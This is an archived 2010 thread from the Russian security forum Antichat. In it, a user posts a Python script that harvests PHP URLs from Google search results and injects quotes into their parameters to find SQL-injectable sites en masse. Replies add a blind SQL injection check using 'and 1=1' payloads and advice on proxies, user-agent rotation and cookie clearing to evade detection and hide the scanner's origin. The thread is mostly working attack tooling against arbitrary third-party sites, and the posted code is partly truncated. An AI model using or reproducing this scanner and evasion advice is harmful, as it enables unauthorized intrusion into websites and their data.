HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 11.07.2010, 11:19
iv.
Познавший АНТИЧАТ
Регистрация: 21.03.2007
Сообщений: 1,200
Провел на форуме:
7134052

Репутация: 1204


По умолчанию

Очевидно, не я первый задумался о этом, но т.к. ничего особо подобного не нашел, то набросал скрипт на питоне, который парсит результаты гугла, находит ссылки php, вставляет во все параметры кавычки и смотрит произошла ли там ошибка. По умолчанию 10 потоков, 5 страниц, 100 результатов на страницу, показываются только положительные срабатывания. Пример использования (будет парсить выдачу по запросу "heck the world"):

python autosqli.py heck the world​

[CODE]
Code:
# -*- coding: utf-8 -*-
import sys, os, re, time, string, urllib2, cookielib, threading, Queue

limit = 5
thread_count = 10

bypass = ['showthread.php', 'viewtopic.php', 'viewforum.php', 'forumdisplay.php', 'forum.php', 'showtopic']
error_values = ['You have an error in your SQL syntax', 'mysql_fetch_array',
'mysql_fetch_assoc', 'mysql_num_rows', 'mysql_fetch_row',]

headers = {'User-Agent' : 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.6) Gecko/20100627 Firefox/3.6.6',
'Accept' : 'text/html',
'Accept-Language' : 'en-us',
'Accept-Charset' : 'utf-8',
'Connection' : 'Close'}

print "Auto SQLi Google Parser"
if len(sys.argv) "
exit(0)

query = string.join(sys.argv[1:])
print "[i] pages to parse: %d" % limit
print "[i] threads: %d" % thread_count
print "[i] query: %s" % query
query = query.replace(' ', '+')

google_jar = cookielib.CookieJar()
google_opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(g oogle_jar))
google_opener.addheaders = zip(headers.keys(), headers.values())

injQueue = Queue.Queue()
injLock = threading.Lock()

class parseUrl(threading.Thread):
def run(self):
while 1:
result = []
url = injQueue.get()
if url == 'stop': return
url = url.split('&')
for param_num in xrange(len(url)):
url[param_num] += "'"
injUrl = "&".join(url)
injReq = urllib2.Request("&".join(url), None, headers)
try:
injResp = urllib2.urlopen(injReq, timeout = 10)
injResp = injResp.read()
except urllib2.HTTPError, e:
injResp = e
except:
continue
if [1 for val in error_values if val in injResp]:
result.append('[+] '+ injUrl)

url[param_num] = url[param_num][:-1]
injLock.acquire()
if result: print '\n'.join(result)
injLock.release()
injQueue.task_done()

for i in xrange(thread_count): parseUrl().start()

for i in xrange(limit):
req = google_opener.open('http://www.google.com/search?q=%s+filetypehp&start=%d&ie=utf-8&oe=utf-8&num=100' % (query, i*100))
resp = req.read()
urlList = re.findall('
 
Ответить с цитированием

  #2  
Старый 11.07.2010, 14:18
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094

Репутация: 672


Отправить сообщение для Konqi с помощью ICQ
По умолчанию

можно добавить ошибки php функции.

mysql_fetch_array, mysql_fetch_assoc, mysql_num_rows, mysql_fetch_row
 
Ответить с цитированием

  #3  
Старый 11.07.2010, 16:12
Gifts
Reservists Of Antichat - Level 6
Регистрация: 25.04.2008
Сообщений: 827
Провел на форуме:
2769640

Репутация: 1304


По умолчанию

iv. Кое что можно почерпнуть отсюда: /thread20414.html

Плюс надо ковырять самописные движки этим скриптом, а не популярные форумы/цмски, которые будут очень часто находиться парсером

Без прокси такие подстановки кавычек делать - ой как не советую.

Код - ужасный, это не питон, а попытка кодинга на С/дельфи, но с функциями из питона. Перепишите
__________________
Любая действущая программа устарела.
Создайте систему, которой сможет пользоваться даже дурак ,и только дурак захочет ею пользоваться.
Как правильно задавать вопросы: _http://www.yakimchuk.ru/questions.htm
 
Ответить с цитированием

  #4  
Старый 11.07.2010, 16:22
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию

Вообще, не все инъекции выводят ошибку. Поэтому детектировать её можно таким способом:

Код:
Code:
function checkInjection(sURL)
{
String A = getURL(sURL);
String B = getURL(sURL + "and+1=1%23");
if(A == B)
 {
  B = getURL(sURL + "and+1=0%23");
  if(A != B)
   return 1;
 }
return 0;
}
На ходу при отправке сообщения придумал функцию на С++ для проверки инъекции.

Алгоритм прост, думаю, перепишешь на питон.
 
Ответить с цитированием

  #5  
Старый 11.07.2010, 16:28
iv.
Познавший АНТИЧАТ
Регистрация: 21.03.2007
Сообщений: 1,200
Провел на форуме:
7134052

Репутация: 1204


По умолчанию

Цитата:
Сообщение от None  
можно добавить ошибки php функции.
mysql_fetch_array, mysql_fetch_assoc, mysql_num_rows, mysql_fetch_row
Ага, спасибо, добавил.

Цитата:
Сообщение от None  
Плюс надо ковырять самописные движки этим скриптом, а не популярные форумы/цмски, которые будут очень часто находиться парсером
Ну, кстати, всякие находятся..в запросе же не скажешь, чтобы он только самописные искал.

Цитата:
Сообщение от None  
Без прокси такие подстановки кавычек делать - ой как не советую.
Я думал сейчас у всех впн в моде, так что не стал поддержку проксей прикручивать..

Цитата:
Сообщение от None  
Код - ужасный, это не питон, а попытка кодинга на С/дельфи, но с функциями из питона. Перепишите
Да уж, былые времена программинга на сях и асме дают знать. Изучаю функции питона подробней, хотя, работает же!

И ещё вопрос по поводу детекта машинных запросов гуглом. Вроде задержка 10 сек сначала спасала, а вот сейчас всё равно обломал. Какие ещё есть варианты?

2mailbrush

Ну, инъекции, которые не выводят ошибку - это уже совсем другая история.

Сюда же тогда ещё можно добавить проверку арифметических операций и т.д.
 
Ответить с цитированием

  #6  
Старый 11.07.2010, 16:52
BrainDeaD
Постоянный
Регистрация: 09.06.2005
Сообщений: 531
Провел на форуме:
3516666

Репутация: 439


По умолчанию

Цитата:
Сообщение от iv.  
iv. said:
И ещё вопрос по поводу детекта машинных запросов гуглом. Вроде задержка 10 сек сначала спасала, а вот сейчас всё равно обломал. Какие ещё есть варианты?
прокси + замена юзер-агента.
 
Ответить с цитированием

  #7  
Старый 11.07.2010, 16:55
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094

Репутация: 672


Отправить сообщение для Konqi с помощью ICQ
По умолчанию

Цитата:
Сообщение от iv.  
iv. said:
И ещё вопрос по поводу детекта машинных запросов гуглом. Вроде задержка 10 сек сначала спасала, а вот сейчас всё равно обломал. Какие ещё есть варианты?
очистка куков
 
Ответить с цитированием

  #8  
Старый 11.07.2010, 16:55
iv.
Познавший АНТИЧАТ
Регистрация: 21.03.2007
Сообщений: 1,200
Провел на форуме:
7134052

Репутация: 1204


По умолчанию

Цитата:
Сообщение от None  
прокси + замена юзер-агента.
Прокси это лишний гемор, так что рассматривать буду в последнюю очередь.

Пробовал просто замену юзер агента, разумеется, не спасает.

А ведь при ручном просмотре выдачи у гугла никогда не возникало подозрение, что я машина.
 
Ответить с цитированием

  #9  
Старый 11.07.2010, 16:58
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094

Репутация: 672


Отправить сообщение для Konqi с помощью ICQ
По умолчанию

Цитата:
Сообщение от iv.  
iv. said:
А ведь при ручном просмотре выдачи у гугла никогда не возникало подозрение, что я машина.
у меня видoвал, отправь много запросов(ну не знаю сколько) и открывается google sorry
 
Ответить с цитированием

  #10  
Старый 11.07.2010, 17:55
Gifts
Reservists Of Antichat - Level 6
Регистрация: 25.04.2008
Сообщений: 827
Провел на форуме:
2769640

Репутация: 1304


По умолчанию

iv. гугл любит печеньки, заголовки и смену юзерагентов

Цитата:
Сообщение от None  
Ну, кстати, всякие находятся..в запросе же не скажешь, чтобы он только самописные искал.
Пропускать все страницы из популярных движков и форумов (типа вбуллетин, IPB, SMF, вордпресс) после первой загрузки
__________________
Любая действущая программа устарела.
Создайте систему, которой сможет пользоваться даже дурак ,и только дурак захочет ею пользоваться.
Как правильно задавать вопросы: _http://www.yakimchuk.ru/questions.htm
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ